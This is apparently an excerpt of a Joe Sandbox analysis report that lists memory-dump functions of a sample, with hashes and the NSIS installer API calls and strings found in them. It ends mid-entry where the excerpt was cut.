Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ddca0f51233a7d5d26819ea46f0d67de53cdbb3ba9d4771ae0f497d51f71c9c
Instruction ID: 87efe129a4f753fa8d54b4bb307526b375e3a68cae025f751d036e91b55f47ec
Opcode Fuzzy Hash: 0ddca0f51233a7d5d26819ea46f0d67de53cdbb3ba9d4771ae0f497d51f71c9c
Instruction Fuzzy Hash: 51F0F632905248DFCB018F35A804ADABFF1EF89320F118066E819CB261D7354D0ACB61

Function 36AB9608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca26c3a68db7242f99274f329b8d11d08d03256a3a93798230212a44acc6ebd1
Instruction ID: ecf03bb74e5736426720d651821e633a18e4d7026c51b4cdcbb38252cb02990b
Opcode Fuzzy Hash: ca26c3a68db7242f99274f329b8d11d08d03256a3a93798230212a44acc6ebd1
Instruction Fuzzy Hash: B6F0A02031831497FA0476BE485476B739EDBC5299F104436E506EB350DE90DC0602FA

Function 00159EF6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction ID: 683cae1e9640955c34d62d0f7f2153966907f94dae98b91232c4ea0269e93158
Opcode Fuzzy Hash: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction Fuzzy Hash: 4701D136608244DFCB159F64DC80BC8BF71BF8A324F180296E9219B2E2C7309814CB10

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabefea6be0ef7fd409d03cf67eccd9c64b6af7286f3d9436f4aaf3305f05e91
Instruction ID: 91545a355564ce18eca497a7be7b7afa08a0896199d69500d469de1c6b0c0e52
Opcode Fuzzy Hash: dabefea6be0ef7fd409d03cf67eccd9c64b6af7286f3d9436f4aaf3305f05e91
Instruction Fuzzy Hash: B8F09835459F829FE3016B30ACBC26A7FB0FF0B3137856D95E05AC6472DB694449CB15

Function 0015B168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f04e6e040cd33dff70d2240c0899148227b29831762ab727e8280fe438808563
Instruction ID: 3c66c4f0cd3a013b0e3888e4335e79378b43b077a3fc748e3bceb809783595ba
Opcode Fuzzy Hash: f04e6e040cd33dff70d2240c0899148227b29831762ab727e8280fe438808563
Instruction Fuzzy Hash: 6CE00935465F06DFF3442B70BCBC23A7AB5FB0F317B846D04A45E864319B7854988A54

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ded6764b507df38104b74ba748a4c157cd52adfc3b0419c749a79e69af6488d
Instruction ID: 330f1d0b8f200c194eec65c7a04ec5434f0823e8b46cd1bd8c55b69644a66832
Opcode Fuzzy Hash: 1ded6764b507df38104b74ba748a4c157cd52adfc3b0419c749a79e69af6488d
Instruction Fuzzy Hash: 29E01274D14208DFDB04DFB9E54969DBBF5EB49302F6041B9D815A3350E7315E45DB40

Function 0015187F Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 664949a715faf404bc91134fa969b5fbd5279e899614c523e10c41dead9e37ad
Instruction ID: 0f04e1ed619ca37c64f5fdb14166eba1056ba6d2288168d1a903bd118c473731
Opcode Fuzzy Hash: 664949a715faf404bc91134fa969b5fbd5279e899614c523e10c41dead9e37ad
Instruction Fuzzy Hash: D7E0C235E2022A8ACB129BB8D8444FEFF34EED2720B8186ABE01437040EB30165DC7B0

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8796212a59b260e5470c666837823acafc641e833275a55e7c45d00fefb33e0a
Instruction ID: bba9d96c405148bfcb18c9dd1c0137657cd8e2bec0e6b545df3e698778d81f31
Opcode Fuzzy Hash: 8796212a59b260e5470c666837823acafc641e833275a55e7c45d00fefb33e0a
Instruction Fuzzy Hash: 9CD05B31D2022A57CB00E7A5DC044EFFB38EED6721B504626D51437140FB702659C6F1

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a832e6b185c7c012bb1cc36956bc614e01c2069150a080c593a79aa6e4253e88
Instruction ID: 816768ed230f5404ec76cccaea2a0fdd8aee2099a4d5da1e720aad7ec98af1e3
Opcode Fuzzy Hash: a832e6b185c7c012bb1cc36956bc614e01c2069150a080c593a79aa6e4253e88
Instruction Fuzzy Hash: 2DE0C23500C3888FCB23E771BCE45C93B326F81204F148699D4090B6AADE7506868BA2

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 36ABCF30 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aef677d89c63816fabf87ba122826954c6286dacdceed14def6f8065b793b302
Instruction ID: 4289049bdd832f6922676a5eea003b2027a1100aa7cf7be283c268b56737f204
Opcode Fuzzy Hash: aef677d89c63816fabf87ba122826954c6286dacdceed14def6f8065b793b302
Instruction Fuzzy Hash: 0AD052B250C3804FCF228620A814AC47F706F23248B0512DAD886DBAA3C293AC058B02

Function 36ABD093 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e11835bfceac03bea2240682511e7d0fe0fe696ded4565c5914b876b54f378cc
Instruction ID: bf319c515a18e47dfa6d101b290ebac0cbce55c4e6deb3825aeabf4dc461a6ba
Opcode Fuzzy Hash: e11835bfceac03bea2240682511e7d0fe0fe696ded4565c5914b876b54f378cc
Instruction Fuzzy Hash: B4D05E2121E7901FEB03922878655996FE04A8761074A45EBE158CB0A29E890A4B87CB

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9740ae5c2a749d89c608d36c3033e4f43acaf318d2de45dce01a61887415fb66
Instruction ID: d414150d177f2aab5680927dd9057748d8ab82ab16e190e1c471fb7cb60f76a7
Opcode Fuzzy Hash: 9740ae5c2a749d89c608d36c3033e4f43acaf318d2de45dce01a61887415fb66
Instruction Fuzzy Hash: 1FD0673AB00009AFCB159F98EC809DDF776FB98221B148116E915A3260C73199A5DB60

Function 36AB95D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df158520156d185029376f51af5f5cbc3916db66c599546b75bdb502c60fe7c
Instruction ID: f810e1cad0b572a9885ee20eb2ddb4abb1095b14216e04e9387ea652faf7b52d
Opcode Fuzzy Hash: 7df158520156d185029376f51af5f5cbc3916db66c599546b75bdb502c60fe7c
Instruction Fuzzy Hash: 5EC0803320D72047AA35B35DBC9048E53598EC92157118E3BF406D72149D509D5741C6

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb3565562a5212c04715fe42eb60da6635e165e4b2a00a85d34508d1fb3b36e
Instruction ID: 07a3cfa2c95ac1977219d22851903f241a66c2ab7cd541ca4d65164cda7e2388
Opcode Fuzzy Hash: 4bb3565562a5212c04715fe42eb60da6635e165e4b2a00a85d34508d1fb3b36e
Instruction Fuzzy Hash: 2FD0A930800208DFC704DBA0D809BE9B378EB03202F0000AC9818232108BB10E00C788

Function 36ABBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79cce1f5f6e5f8abeea8d6c3b7bd662b8a92825233474441d84411f93f4ac92d
Instruction ID: 35bd4dcbaecc90f4df739323ebbca8cb03fbdca2f349327df8ff1f108fbd7b36
Opcode Fuzzy Hash: 79cce1f5f6e5f8abeea8d6c3b7bd662b8a92825233474441d84411f93f4ac92d
Instruction Fuzzy Hash: 4AC01274040E098BEA082B60BC0CB39B3B8BB07303FC82910A408028308BB84414C648

Function 36AB94B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66642aa0c5de3ebbc419a925a93086f19bb6747bbc7b65222767c2b15a17ddc9
Instruction ID: 81b691e52d3425dac5017b2121175e289b08d24219294b3606c535e5cbacc453
Opcode Fuzzy Hash: 66642aa0c5de3ebbc419a925a93086f19bb6747bbc7b65222767c2b15a17ddc9
Instruction Fuzzy Hash: 90C04C3026C704CFF640AB6DD984A5533ACEF8AB08F5098E5F50A9B665CA62FC104645

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a682172fb4a7191555310d48ef5f95931215a2223b3e5bbe0568beb8567e10
Instruction ID: d058d1f1c573bbf997b9f706061e8229120c8d1b910b67fac9ff7566b000f9d0
Opcode Fuzzy Hash: 47a682172fb4a7191555310d48ef5f95931215a2223b3e5bbe0568beb8567e10
Instruction Fuzzy Hash: DEC080300183088BD501F7B7FDD5555333E6FC0100B50C510E1090756EDFB459D64BD1

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,?,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(?,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(?,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,?,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

.tmp, xrefs: 0040363F
NSIS Error, xrefs: 00403341
TEMP, xrefs: 0040350A
~nsu, xrefs: 00403623
SeShutdownPrivilege, xrefs: 0040374D
Error launching installer, xrefs: 004035AD
UXTHEME, xrefs: 004032E7
SETUPAPI, xrefs: 004032FB
\Temp, xrefs: 004034DC
USERENV, xrefs: 004032F1
TMP, xrefs: 00403512
Low, xrefs: 004034F8

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,?), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,?,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,76F93420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 36ABAFF8 Relevance: 13.0, Strings: 10, Instructions: 461COMMON

Download Yara Rule

Strings

Lj)p, xrefs: 36ABB2AB
0o)p, xrefs: 36ABB147
Lj)p, xrefs: 36ABB5A6
Lj)p, xrefs: 36ABB3B9
", xrefs: 36ABB7CE
Lj)p, xrefs: 36ABB2C1
Lj)p, xrefs: 36ABB498
Lj)p, xrefs: 36ABB4AE
Lj)p, xrefs: 36ABB590
Lj)p, xrefs: 36ABB3A3

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: "$0o)p$Lj)p$Lj)p$Lj)p$Lj)p$Lj)p$Lj)p$Lj)p$Lj)p
API String ID: 0-3623445927
Opcode ID: 0005747f4125c0890ced860a01d06c4bf90389d3157e9c418409c87b7d4d9343
Instruction ID: 613c4df1bd0c206f0301fd8f4f5950795b37b6c75fda0fcacd8846f87a1c2007
Opcode Fuzzy Hash: 0005747f4125c0890ced860a01d06c4bf90389d3157e9c418409c87b7d4d9343
Instruction Fuzzy Hash: 0D328C74E01218CFEB64CFA5C984B9DBBB2BF89304F1081A9D809AB361DB755E85CF54

Function 36AB7B4F Relevance: 3.1, Strings: 2, Instructions: 600COMMON

Download Yara Rule

Strings

Bz4, xrefs: 36AB83D4
.5q, xrefs: 36AB7C7B

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: .5q$Bz4
API String ID: 0-4271042815
Opcode ID: 5c971b5ed41fdfab649bb1b6ac31e2892ba44508d1117ee1204c103ac0af6cf6
Instruction ID: d5dc3864a1787b99b488acd44436e5a2977e8c6cd5a727e1917f41098c100dbb
Opcode Fuzzy Hash: 5c971b5ed41fdfab649bb1b6ac31e2892ba44508d1117ee1204c103ac0af6cf6
Instruction Fuzzy Hash: 5F627B74E01228CFDB64DF69C984B9DBBB2BF89301F1081E9D809AB255DB359E85CF50

Function 36AB36C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892d73fdbf8f97da81e8e9b2179e5ff2e5232409b0750c163308eac884e317b7
Instruction ID: f3d98939626b171eec54837c1bb9b78c27c4a08f2a32f4c2286f45e525f8e1fc
Opcode Fuzzy Hash: 892d73fdbf8f97da81e8e9b2179e5ff2e5232409b0750c163308eac884e317b7
Instruction Fuzzy Hash: 24C19174E00218CFEB14DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 36AB2E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e571989c7d3ac8bc22e86f03a1435bdaa8cc427b3d2db74993b9d68eee9933
Instruction ID: 57f4cad9bb4d9c56fcafb1ebe50e3a6717ebf6f10fff22754232e987def912e5
Opcode Fuzzy Hash: e3e571989c7d3ac8bc22e86f03a1435bdaa8cc427b3d2db74993b9d68eee9933
Instruction Fuzzy Hash: 65C19274E00218CFEB14DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB5660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2128d22a7e2c7e843336f557911735701f8ca9739e8cdb0c5ba77a9323cc7575
Instruction ID: 7c6512732450acfeb434b76a991f82b39e7df2313ede98070ecea058ec1a61af
Opcode Fuzzy Hash: 2128d22a7e2c7e843336f557911735701f8ca9739e8cdb0c5ba77a9323cc7575
Instruction Fuzzy Hash: 39C19174E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB0FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad097771845757ed23a04546ab7528f9996c961d7ab80ae548bf3567764a1a1f
